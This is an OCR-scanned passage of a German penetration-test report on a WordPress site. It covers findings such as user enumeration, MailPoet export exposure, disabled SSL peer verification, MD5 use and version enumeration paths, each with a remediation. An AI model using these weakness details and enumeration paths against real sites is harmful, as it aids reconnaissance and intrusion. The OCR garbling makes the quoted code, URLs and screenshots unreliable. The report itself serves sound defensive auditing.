einer entsprechenden SQL-Injection-Liicke auf die WordPress-Tabellen zuzugreifen.

Screenshot:
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Abbildung 8: Aufzeichnung des HTML-Resp inklusive des Datenbank-Préfix
Risikofaktor: Leicht
Mafinahme:

Es sollten keinerlei Informationen iiber SQL-Ausdriicke den Server verlassen. Der Datenbank-Prifix sollte
ausschlieflich Administratoren bekannt sein.

6.1.15 s2Member OAuth ohne SSLPeer-Validierung
Betroffenes Modul: s2Member-Plugin '
Beschreibung:

Im Plugin s2Member ist eine OAuth-Implementierung hinterlegt, welche per cURL HTTP-Aufrufe
durchfiihrt. Hierbei ist jedoch die Option SSL_VERIFYPEER deaktiviert.

Dadurch ist nicht gewihrleistet, dass der Aufruf das Server-Zertifikat validiert. Somit kénnte ein Angreifer
unbemerkt einen Man-in-the-Middle-Angriff durchfiihren, bei dem das SSL-Zertifikat ausgetauscht wird.
PHP-Quellcode:

/wp-content/plug'ins/s2member/includes/extema]s/awg:ber/oauth_app]ication.php Zeile 576
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Risikofaktor: Leicht

Phase 5: Abschlussanalyse 6

28->curl->setopt ($handle, CURLOPY BZL ¥

Mafinahme:
Die cURL-Option sollte mit dem Wert TRUE konfiguriert werden.

6.1.16 Cacheable HTTP(S) Newsletter Exports
Betroffenes Modul: MailPoet-Plugin (wysija)
Beschreibung:

In den Responses der Backup- und Export-Dateien des Newsletter-Plugins MailPoet unter den Pfaden
* . /wp-content/uploads/wysija/temp/*
. /wp-content/uploads/wysija/temp/*

fehit der Header Cache-control: nb-store/Pragma: no-cache

Somit kénnen sensible Benutzerdaten wie E-Mail-/IP-Adressen im Cache aus

gelesen werden, wenn jemand
Zugriff auf die Cache-Dateien erhilt. ’

Screenshot:
| Raquest ]Rnponn t
’JRIII Hladm_lHex |
HTTP/L.1 200 OK
Dat=: Frl, LS Jan 201f 07:51:2€ GHT
Server: Apache
Last-Nodified: Thu, 14 Jan 20L& L1:4€:l1 GNT
ETag: "47d-53949d54atia0”
Accapr~-Ranges: bytes
Content-Length: 1149
X-Content-Type-Options: nosniff
X-Frawme-Options: SAMEORTGIN .
X%-¥35-Protection: 1; mode=hlock
Ce -Si dey-Policy P Only: default-sre 'self'; img-sxc
Script—src ‘unsafe-inline’ ‘unsafe-aval’
Strice-Transport-Security: max-ageel57:8000; includeSubDomains
Connection: close .
Content-Type: cext/csv
E-Mail, 1P- Statua,Datum des Eintrags
mrsefnms-dresden.de, a, a, 152, 168. 129, 21€,4,14/08/201€
fahu+i§mms-dresden. de, abc, abe, 192, 1€8. 145,352, L, 18/0L/201¢
fahu+2@mns-dresden. de, abe, abc, 193, LEB, 145,252, 1,14/01/201¢
Tahut IRmma—dresden. des . Avefar. avafawss. 197 1€A. 145187, 1. 14701770
Abbildung 9: HTTP Response-Header ohne Angabe von Cache-Control
Bund filr Sicherheit in der Informati hnik
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Risikofaktor: Leicht
Mafnahme:

Durch ein Wrapper-Skript, das die Dateien ausliefert, kann der Header gesetzt werden, Alternativ und
bedeutend leichter kénnte iber eine Webserver-Einstellung gezielt der Cache-Control-Header fiir diese
Dateien gesetzt werden. . :

6.1.17 Unauthentifizierter Zugriff auf Exporte von Newsletter-Daten
Betroffenes Modul: MailPoet-Plugin (wysija)

Beschreibung:

Ein nicht angemeldeter Benutzer kann eine Export-Datei fir den E-Mail-Newsletter des MailPoet-PIﬁgins
herunterladen. In dieser Datei sind mehrere sensible Daten wie E-Mail-Adresse und verschiedene IP-
Adressen enthalten, Weiterhin kann auch der User-Key enthalten sein, um die Abo-Einstellungen fiir jeden

Benutzer dndern zu kénnen. Dies muss jedoch explizit vom Administrator bei Erzeugung des Backups
erzwungen werden. :

Die Expdrt-Datei ist nach der Erzeugung nur fiir eine kurze Zeit auf dem Server vorhanden und besitzt
einen nicht trivial zu erratenden Dateinamen. .-

Beispieldatei:
/wp-content/uploads/wysija/temp/export—alsbem1f6db2d4683e.csv
Risikofaktor: Leicht

Mafinahme: .

Es ist nicht trivial mﬁélich, den Zugriff - auf diese Dateifen) zu verhindern bzw. einer
Berechtigungsiiberpriifung zu unterziehen. Die Verwendung eines Zufallswertes im Dateinamen ist ein

Weg, den Zugriff zu erschweren. Ebenso ist das zeitnahe Léschen dieser Dateien bereits der richtige Weg.”

Ein gewisses Restrisiko bleibt hier jedoch immer bestehen.

Eventuell wire eine praktikable Losung, dass keine Datei angelegt wird, sondern der Inhalt der Exporte

base64-kodiert wird und als Link angeboten wird, z. B.:
<a href="data:Application/| base64,UEsDBBQABgAIAAAAIQDprszgEAAC[ s ]tresas

6.1.18 Anmeldung fremder Abonnenten fiir den Newsletter
Betroffenes Modul: MailPoet-Plugin (wysija)

Beschreibung:
Ein Benutzer kann sich fiir einen Newsletter registrieren. Diese Anmeldung muss er iiber einen Link
bestitigen, den er per E-Mail zugesendet bekommt,

Jeder Newsletter, der anschlieRend versendet wird, enthilt einen Link zum Bearbeiten der Newsletter-
Einstellungen des Nutzers, z.B.: E
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https:/ /deb-wordpress-scenario4/?wysija-page=1&controller=cunﬁrm&wysija—
key=664a8ZOand78df77ad789af9497bcf4&action=subscriptions&wysijap=subscn'ptions#wysija-
subscriptions

Dort ist s unter anderem méglich, seine E-Mail Adresse zu editieren. Andert man die E-Mail-Adresse, wird
diese Anderung ohne Verifizierung der E-Mail-Adresse durch das Opt-In-Verfahren durchgefithrt. Somit

kénnen Abonnements fir E-Mail-Adressen ohne Kenntnis des eigentlichen E-Mail-Empfingers registriert
werden,

Risikofaktor: Leicht
Maﬁnahme:

Bei jeder Anderung der E-Mail-Adresse muss erneut das Opt-In-Verfahren durch Bestitigung eines
Aktivierungslinks erfolgen.

6.1.19 Schwache Hashfunktion in MailPoet
Betroffenes Modul: MailPoet-Plugin (wysija)

Beschreibung:

Das Newsletter-Plugin MailPoet verwendet eine schwache Hashfunktion (MD5) fiir den Parameter
user_key,

Dieser user_key wird fir den Link zum Andern den Newsletter Abonnents genutzt;

https://i deb-wordpress-scenario4/?wysija-page=1&controller=conﬁrm&wysija-
key=6e4a820a9dd78df77ad789af9497bcf4&action=subscriptions&wysijap=subscriptions#wysija-
subscriptions

wysija-key entspricht hierbei dern user_key. .
Generell gilt MDS nicht mehr als sicher, da Kollisionen durchaus realistisch erzeugbar sind.

PHP-Quellcode:

Generierung des Hashes: wysiia-newslette_rsmddelsuser.php Zeile 44

§thla->values['keyuser'] = = 1°( AUTH_KEY . Sthis->values{'email'] . Sthig-
>values['created at'] }.

Weiterer Einsatz von MDS5 im Plugin:

classes/WJ_Stats.php:215: if ($_REQUEST['hash'] == md: (AUTH_KEY . $this-
>clicked_url . $this->user_id)) {

core/constants.php:45:define (* WYSIJA_CRON',md5(__ FILE_ . $blog_aid));

core/module/statistics_model.php:30: Shash = mdS (get_class ($this)
Json_encode ($params)) ;

helpers/themes.php:261: Stimecreated = substr{ md5(rand()) » 0, 20);
helpers/mailer.php: 688: $md5 = md5(§filename);

helpers/mailer.php:994:
$args{’'hash']=mdS (AUTH_KEY. " [unsubscribe link}' Sargs{ 'user_id']):
helpers/mailer.php:999:

Bund fiir Sicherheit in der Inf
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$args|"hash']=mdS (AUTH_KEY ' [subscriprions link]'.$args{'nssr_1d’]);

helpers/file.php:119: Stime_created = substi{ md5{rand{)), 0 NAD )T
'inL/peat/popl!.php: 6651 1f(PEAK-:isError{$data = $this-> sendCmd('APOP '
$user . ' ' . md5($this->_ timestamp . Spass} X

inc/phpmailer/class.phpmailer.php:920: Suniq id = mdS unigid(time{}));
inc/phpmailer/class. phpmailer.php: 1297 $in~lhash = |
1d5 {serialize ($attachment) ) ;

inc/phprmailer/<las<. phpmailer . php:1874: spid = 'cid ! |
1d5 ($filename) ; Il
inc/phpnailer/zlass. phpmailer.php: 1880+ 1f { 3this- |

>AddEmbeddedImags ($basadir. $directory. $1ilename, mdS (5filename), $filename, 'basm6d’, |
smimeType) ) |

modsls/user.php:44; Sthis—svalues|['keyuser'] = nd5( AUTH_KEY $this—
>values|'email’'] . $this-dvalues[" created at'} };

models/user.php:306: return md5( AUTH KEY . $email . timef} ): |
modules/stats newsletter std/stats newsletter_std_view.php:12:
$datal'dataset’])[§index]["container’] = ‘chart® .mdS{Sdataseti'title’|.rand{}); _J

Risikofaktor: Leicht

Mafinahme:

Nicht firr alle Einsatzbereiche ist die Verwendung von starken Hash-Algorithmen zwingend notwendig,
empfohlen wird dennoch, konsistent auf MD5 und SHA1 zu verzichten und stattdessen z. B. SHA256 oder
besser SHA512 zu verwenden. Insbesondere fir die Identifikation von Newsletter-Subscriptions sollte ein
deutlich Entropie-reicherer Hash verwendet werden.

6.1.20 Benutzer/E-Mail-Adressen Enumeration
Beschreibung:
Ist es technisch méglich, den Benutzernamen von anderen Accounts herauszufinden, so ist bereits ein Teil

der notwendigen Informationen zum erfolgreichen Anmelden an einem anderem Account vorhanden.

Ein Brute-Force-Angriff, der gi.'lltigé Zugangsdaten durch Probieren errhittelt, wird deutlich vereinfacht,
wenn der Benutzername bekannt ist. '

Maftnahme:

Je nach der Ausprigung der Moglichkeit, Benutzernamen oder E-Mail-Adressen herauszufinden, muss
unterschiedlich herangegangen werden:

* Bei fehigeschlagenen Anmeldeversuchen sollte unabhiingig davon, ob der Benutzername korrekt ist oder
nicht, eine einheitliche Fehlermeldung ausgegeben werden.

* Bei Passwort-Vergessen-Funktionen sollte unabhingig von den eingegebenen Daten (Benutzernarrie
ader E-Mail-Adresse) eine einheitliche Nachricht angezeigt werden, z. B. ,Sollte Ihr Account mit den
eingegebenen Daten Gibereinstimmen, werden Sie eine E-Mail mit weiteren Instruktionen erhalten®,

¢ Bei der Registrierung neuer Benutzerkonten ist der Ansatz deutlich schwieriger, da dem Nutzer
aufgezeigt werden muss, ob der gewihlte Benutzername bereits vergeben ist.

* Eine Losung wére der Einsatz von CAPTCHAS, welche allerdings aus Usability und
Barrierefreiheitsgriinden nicht verwendet werden sollten. '
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* . Eine Sperrung der IP-Adresse, nachdem eine gewisse Anzahl an Registrierungsversuchen erkannt
wurde, kann diesen Angriff ebenso verhindern, riskiert jedoch, dass alle Benutzer hinter dieser IP-
Adresse ausgegrenzt werden.

6.1.20.1- Benu‘tz_er/ E-Mail-Adressen Enumeration in Registrierung

Betroffenes Modul: WordPress Core

Ergebnis:

Die Registrierungsfunktion (/v}p-loginAphp?action=register) erzeugt zwei Fehlermeldungen bei der Eingabe

von Benutzernamen oder E-Mail-Adressen, welche bereits registriert sind.

Dadurch ist es mdglich, existierende Benutzer und registrierte E-Mail-Adressen herauszufinden.
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Screenshot:

Fur diese Website registreren

ERROR: Dieser Benutzemame ist bereits registriert. Bitte wihle einen anderen.
Fehler: Diese E-Mail-Adresse wunde bereits registriert, bitte wahie eine andera.

Usermame

pentest_admin

mrse@mms-dresden.de
Fist Narme
a

Last Name
a

Du erhajist eine BestAtigung der Reqistrierung per £-Marl.

Regstrieren

Anmelden | Passwort vergessen?
Abbildung 10: Anzeige einer Fehlermelddng. wenn Benutzername und/oder E-Mail-Adresse bereits registriert i;st

Risikofaktor: Leicht

6.1.20.2  Benutzer Enumeration in Login-Maske
Betroffenes Modul: WordPress Core

Ergebnis:

Bei der Login-Maske werden zwei verschiedene Pehlermelﬂungen zuriickgegeben:
1 Fehlénneldung: +FEHLER: Ungiiltiger Benutzername. Passwort vergessen?"

2. Fehlermeldung: ,FEHLER: Das Passwort, das du fiir den Benutzernamen pentest_admin eingegeben
hast, stimmt nicht. Passwort vergessen?”

Dadurch ist es méglich, existierende Benutzer herauszufinden,

Bundesamt fir Sicherheit in der Informationstechnik
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Screenshots:
FEHLER: Das Passwort, das du fiir den
Benutzernamen Pﬂl::ﬂ admin eingegeben FEHLER: Unguftiger Benutzername, Futsviont
hast, stimme niche, Fasswort vervessen? wergessen?
Benuwzemame Berutzername
pentest_admin |
st Passwort

meide bletber
(st _ Angemelciet bleiben _

Abbildung 12: Fehlermeldung in Login-Maske Abbildung 11: Fehlermeldung in Login-Maske
Risikofaktor: Leicht

6.1.20.3 Benutzer/E-Mail-Adressen Enumeration in Passwort-Vergessen-Funktion
Betroffenes Modul: WordPress Core

Beschreibung:

- Phase 5: Abschlussanaliyse 6

Die Passwort-Vergessen-Funktion hat zwei verschiedene Statusmeldungen bei der Eingabe von

Benutzernamen oder E-Mail-Adressen (/wp-1ogin.php?action=lostpassword)z
*  Kein existierender Benutzer: ,Fehler: Falscher Benutzername oder falsche E-Mail-Adresse
*  Existierender Benutzer: ,Uberpriife dein E-Mail-Konto fiir den Bestitigungslink.”

Dadurch ist es méglich, existierende Benutzer und registrierte E-Mail-Adressen herauszufinden.

Screenshots:
Bite gib demen Benytzemarnen oder dene E-Mail-Adresse hier ein. Du bekommst eine
£-Mal zugesandt, mit deren Hilfe dq ein neues Passwort ersteflen kannst,
Fehler: Falscher Benutzemame oder falsche £-Mak-Adresse.
Abbildung 13: Fehlermeldung bei Eingabe nicht vorhondener Benutzerdaten
Bund far Sicherheit in-der Inf i hni
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Ubemrufe dein E-Mail-Konto flr den ‘Beslatigungslink.

Abbild g 14: Erfol, 1.4, bei Eil ho holb Benut 4

Risikofaktor: Leicht

6.1.21 Enumerieren der installierten WordPress Version und Plugins
Betroffenes Modul: WordPress Core

Beschreibung:

Es ist prinzipiell méglich, Informationen iiber die verwendete WordPress-Version und die verwendeten

Plugins samt Version zu ermitteln. WordPress bietet keinen Schutz vor der Enumerierung dieser
Informationen.

Es kann die Version der WordPress-Installation an sehr vielen Stellen ohne Authentifizierung ermittelt:
werden:

s /liesmich.html

* freadme.html

*  /wp-config-sample php

s /wp-mail. php

e [license.txt

* /wp-admin/upgradephp

* /wp-admin/maint/repair php

* /2014 :

*  [2015/%

* /?s2member_paypal_netify=1

v [is= . .

* /[twysija-page=1&controller=confirm&wysija-
key=&acu'on=subscribe&wysijap=subscriptions&wysiconf=WnyIlO=

* /search/*

Weiterhin konnten mit dem Tool wpscan beispielhaft folgende Informationen iiber Plugins ermittelt
werden:

jetpack v3.8.1

- s2member
user-role-editor v4.21.1
wysija-newsletters v2.6.19

Das Tool wpscan kann ausgehend von der WordPress-Version und den Informationen iiber die Plugins
gezielt die bereits bekannten Schwachstellen ermitteln. Dadurch ist ein Angreifer sehr schnell in der Lage,
mogliche Schwachstellen in der WordPress-Installation zu identifizieren.
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Screenshot:

Akl

g 15: Beispiethafte Auflistung der eing ten Plugins
Risikofaktor: Leicht

Maflnahme:

Plugins sollten keine Standard-Dateinamen verwenden, in denen die Versionsangaben aufgefiihrt sind.
WordPress selbst sollte Informationen iiber die verwendete Version nicht éffentlich zuginglich zu machen,

6.1.22 UploadgréRe bei XML-RPC

Betroffenes Modul: WordPress Core

Beschreibung;

Ein angemeldeter Benutzer darf nur maximal 2 MB grofe Dateien hochladen {/wp-admin/media-new.php).
Uber die XML-RPC-Schnittstelle {/xmlrpc.php) kann ein Benutzer hingegen Dateien mit insgesamt 21 MB
Grofie hochladen.

Risikofaktor: Leicht

Mafinahme:

Die Limits der Dateigréfien‘fﬁ‘r Uploads sollte iiber beide Schnittstellen einheitlich sein.

Bund fr Sicherheit in der Inf y ik
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6.1.23 Formulare mit autocomplete

Beschreibung:

In Formularen kénnen Benutzereingaben automatisch vervollstindigt werden. Diese Daten werden lokal
auf dem Client (im Browser) abgelegt und kénnen dort von einem Angreifer oder anderen Benutzer des
Systems ermittelt werden. Daher sollten insbesondere Formulare, die zur Eingabe von Logindaten
(Benutzername und Passwort/PIN) verwendet werden, diese Funktion deaktivieren. Auch fiir andere
sensible Formularfelder (zB. Bankverbindungen, Kreditkartennummern) solite die automatische
Vervollstindigung nicht verwendet werden.

Mafinahme:

Ein Formular sollte durch Setzen des Attributs autocomplete = "off" verhindern, dass sensible

Formulardaten vom Browser gespeichert und bei der nichsten Verwendung automatisch vervollstindigt
werden.

Siehe auch:

https://www.owasp.org/index.php/ Session_Management#Prevent_Sensitive_Data_from_Being_Cached_on
_Client_Side

6.1.23.1 Passwort-Vergessen-Funktion ohne autocomplete="off"

Betroffenes Modul: WordPress Core

Ergebnis:
Im Formular fiir den Prozess des vergessenen Passworts (/wp-login.php?action=lostpassword) besitzt das
Eingabefeld fir die E-Mail-Adresse nicht das HTML-Attribut autocomplete="off". Dadurch ist es dem

Browser erlaubt, die E-Mail-Adresse zu speichern. Dies ist zwar fiir den Benutzer komfortabel, birgt aber
auch das Risiko, dass diese Daten in unberechtigte Hande fallen,

Risikofaktor: Leicht
6.1.23.2  Benutzername und Passwort ohne autocomplete="off"
Betroffenes Modul: WordPress Core

Ergebnis;

Die Eingabefelder bei- der Anmeldung {/wp-loginphp) besitzen nicht das HTML-Attribut
autocomplete="off". Dadurch ist es dem Browser erlaubt, die Zugangsdaten oder auch nur den
Benutzernamen zu speichern. Dies ist zwar fiir den Benutzer komfortabel, birgt aber auch das Risiko, dass
diese Daten in unberechtigte Hinde fallen.
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Risikofaktor: Leicht -

6.1.24 Information Disclosure E-Mail-Adresse
Betroffenes Modul: s2Member-Plugin

Beschreibung:

Durch eine generierte JavaScript-Datei des Plugins s2Member wird die E-Mail-Adresse fiir den Absender bei
Registrien_mgen preisgegeben.

Link-Beispiel:

https://deb—wordpress-scenario4/wp-content/plugins/ s2member/s2member-o.php?

ws_plugin_ s2member_js_w_globals=1&qcABC=18&ver=151210-2013908435

Suche nach: S2MEMBER_REG_EMATL_FROM_EMATL

‘Durch die Preisgabe der E-Mail-Adresse kénnte diese vermehrt als Spam-Empfinger missbraucht werden.

Risikofaktor: Leicht

Mafinahme:

Die E-Mail-Adresse in dieser JavaScript-Datei sollte nicht notwendig sein und folglich entfernt wefden.
6.2  Betriebssystem

6.21 Zusammenfassung

Es wurden wenige Fehler bzw. weitere Hirtungsmafnahmen auf der Ebene des Betriebssysterns gefunden,
welche in einem separaten Dokument [3] beschrieben werden, da diese nicht nur auf WordPress zutreffen.

Dariiber hinaus besteht bei WordPress die Besonderheit, dass der SMTP-Server fiir den Mail-Versand nicht
direkt angesprochen werden kann, so dass die PHP-Funktion mail(} iiber einen installierten Postfix Mail-
Server implementiert wurde.

6.2.2 E-Mail-Versand unverschliisselt
Betroffenes Modul: Postfix SMTP

Beschreibung:

Beim Versand von E-Mails erfolgt die Kommunikation mit dem SMTP-Server unverschliisselt,

Wahrend des Mitschneidens der Kommunikation kann: erkannt werden, dass der SMTP-Server zwar
STARTTLS unterstiitzt, der Client jedoch den Befehl STARTTLS nicht ausfiihrt:

SMTP-Netzwerkverkehr:

Gesendete SMTP-Befehle und empfangene Antworten:

220 mallgate.mis=dresdin. ge — Server ESMTP (5un Java (tm) Gyacem Mensogling Berver .3«
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EHLO deb-wordpress—scenariol,cms2.local

|MAIL FROM: <cms@deb-wordpress-scenariod.cms2.local > SIZE=5092 BODY=8RITMIME
|RCPT TO:<fahulmms-dresden.de> ORCPT=rfcB822; fahulmms-dresden.de
|IDATA

ann opt

. i « DA 4 ‘ ngaw

Received: by deb-wordpress-scenariol.cms?.local (Postfix, from userid 1002)
.id 2BFBOC0562; Mon, 25 Jan 2016 22:53:15 +0100 (CET)

To: fahu@mms-dresden.de

Subject: [ERFOLGREICH] BackWPup Log 25-Jan-2016 22:53: Pentest20160114

Risikofaktor: Hinweis
Mafinahme:

Der Postfix SMTP-Server muss angemessen konfiguriert werden, um einen TLS-Handshake durchfihren zu
kénnen.

6.3 Webserver

-6.3.1  Zusammenfassung .

Es wurden wenige Fehler bzw. weitere Hirtungsmafnahmen auf der Ebene des Webservers gefunden,
- welche in einem separaten Dokument [3] beschrieben werden, da diese nicht nur auf ‘WordPress zutreffen.

64  Datenbank
641 Zusammenfassung

Es wurden wenige Fehler bzw. weitere HirtungsmaRnahmen auf der Ebene der Datenbank gefunden,
welche in einem separaten Dokument [3] beschrieben werden, da diese nicht nur auf WordPress zutreffen.
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Anhang: Bewertungskriterien der Schwere der

Testergebnisse
Risikofaktor ,,Hinweis”
Beschreibung ]
Klassifikation Keine Schwachstelle oder Schwachstelle ohne Risiko,
Korrektur Korrektur nicht notwendig.
Auswirkung Kein Schaden fiir System oder Anwendung.
Wahrscheinlichkeit Nicht relevant.
Wissen des Angreifers Nicht relevant.
Benutzerinteraktion Nicht relevant.
Risikofaktor ,,Leicht”
i ¥ Beschreibung
Klassifikation Schwachstelle selbst stellt keine signifikante Gefahr fiir System oder
) Anwendung dar. Schwachstelle bietet einem Angreifer neue Information
fiir weitere Angriffe.
Die Kombination verschiedener Schwachstellen mit Risikofaktor ,Leicht*
konnte zu einem héheren Risiko fiilhren. -
Korrektur Korrektur wird empfohlen.
Auswirkung Kein direkter Schaden fiir System oder Anwendung. .
o In Kombination mit anderen Schwachstellen ist ein Schaden méglich.
Wahrscheinlichkeit Kein Exploit oder Proof-of-Concept vorhanden.
Schwachstelle kann nur theoretisch ausgenutzt werden.
Wissen des Angreifers Angriff erfordert erheblichen Aufwand und erhebliches Wissen.
Benutzerinteraktion Abhingig von der Art der Schwachstelle ist eine hohe Benutzerinteraktion

notwendig (z.B.: Social Engineering, Spam), um dem Angreifer eine
Méglichkeit zum Ausnutzen der Schwachstelle zu bieten.

Risikofaktor ., Mittel”

Beschreibung
Klassifikation Schwachstelle stellt ein mittleres Risiko fiir System oder Anwendung dar.
Die Schwachstelle selbst reicht nicht aus, um das System zu tibernehmen,
kann jedoch Teil eines erfolgreichen Angriffes sein. i
Korrektur Korrektur wird dringend empfohlen,
1 Auswirkung Begrenazter direkter Schaden fiir System oder Anwendung.
: ‘Wabhrscheinlichkeit Kein Exploit oder Proof-of-Concept vorhanden.

_!Schwachstelle kann ausgenutzt werden.
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Beschreibung
Wissen des Angreifers Angriff erfordert hohen Aufwand und hohes Wissen.
Benutzerinteraktion Abhingig von der Art der Schwachstelle ist eine unachtsame

Benutzerinteraktion notwendig (2.B. Ignorieren von Fehlermeldungen),
um dem Angreifer eine Moglichkeit zum Ausnutzen der Schwachstelle zu
bieten.

Risikofaktor ,Schwer”

Beschreibung
Klassifikation Schwachstelle stellt ein hohes Risiko fiir System oder Anwendung dar.
[ Die Schwachstelle reicht aus, um Teile des Systems zu iibernehmen.
Korrektur Korrektur ist notwendig.
Auswirkung Hoher direkter Schaden fiir System oder Anwendung.
‘Wahrscheinlichkeit Exploit oder Proof-of-Concept vorhanden.
Schwachstelle kann ausgenutzt werden.
Exploit kann durch Benutzerinteraktion repliziert werden.
Wissen des Angreifers Angriff erfordert geringen Aufwand und geringes Wissen.
Benutzerinteraktion

Aktive Interaktion des Benutzers ist nicht erforderlich.

Risikofaktor ,,Sehr schwer
B Beschreibung
Klassifikation Schwachstelle stellt ein kritisches Risiko fiir System oder Anwendung dar.
Die Schwachstelle reicht aus, um das gesamte Systems zu iibernehmen, |
Korrektur Korrektur ist unbedmgt notwendig.
Auswirkung Direkter kritischer Schaden fiir System oder Anwendung
‘Wahrscheinlichkeit Exploit oder Proof-of-Concept vorhanden.
Schwachstelle kann ausgenutzt werden.
Exploit repliziert sich automatisch ohne Benutzerinteraktion.
Wissen des Angreifers Angriff erfordert geringen Aufwand und geringes Wissen.
Benutzerinteraktion Benutzer kann sich nicht selbst schiitzen.
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Stichwort- und Abkiirzungsverzeichnis

Begriff

Beschreibung -

Completely Automated Public Turing test to tell
Computers and Humans Apart (CAPTCHA)

Test zur Unterscheidung von Computern und
Menschen.

Content-Management-System (CMS)

Software zur Erstellung und Pflege von
Webinhalten.

"Cross-Site Request Forgery (CSRF)

Angriff zyr unerwiinschten Durchfithrung einer
Transaktion in einer Webanwendung.

Curl URL Request Library (cURL)

Kommandozeilen-Programm zum Ubertragen von j
Daten. ’

Denial-of-Service (DoS)

FastCGI Process Manager (FPM)

Angriff zur Einschrinkung der Verfiigbarkeit einer _
Anwendung oder eines Dienstes.

Alternative PHP FastCGI Implementierung.

HTTP Strict Transport Security (HSTS)

Sicherheitsmechanismus fir HTTPS-Verbindungen,
der ausschlieRlich verschlisselte Verbindungen fir
diese Domain zulisst.

Proof of Concept (PoC)

Machbarkeitsnachweis.

. | Structured Query Language (SQL)

Abfragesprache fiir relationale Datenbanken.

Test and Integration Center {TIC)

AKkreditiertes Priiflaboratorium der T-Systems i
Multimedia Solutions GmbH.

Cross-Site-Scripting (XSS)

Sicherheitsliicke in Webanwendungen zum
Einfiigen von Informationen aus einem Kontext, in
dem sie nicht vertrauenswiirdig sind, in einen
anderen Kontext, in dem sie als vertrauenswiirdig
eingestuft werden.

60

Bundesamt fir Sicherheit in der Informationstechnik



